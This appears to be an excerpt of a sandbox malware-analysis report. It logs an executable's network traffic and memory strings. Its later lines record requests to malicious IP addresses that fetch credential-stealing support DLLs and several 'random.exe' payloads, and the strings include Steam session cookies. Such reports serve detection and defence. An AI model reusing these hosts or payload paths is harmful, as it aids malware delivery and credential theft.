Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Tue, 12 Nov 2024 00:57:31 GMTIf-None-Match: "6732a7fb-1ad800"
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: d1e0007322.exe, 00000014.00000003.2665792105.0000000000DEF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ' https://comarshal-zhukov.commarshal-zhukov.comteamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Ce6510aad57c34d7bda3161fd77cbb61d; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=8fb20610008f16691a523d86; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-EncodiCC~ equals www.youtube.com (Youtube)
Source: d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665447113.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: /store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.c( equals www.youtube.com (Youtube)
Source: d1e0007322.exe, 0000000B.00000002.2651235498.00000000014A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ 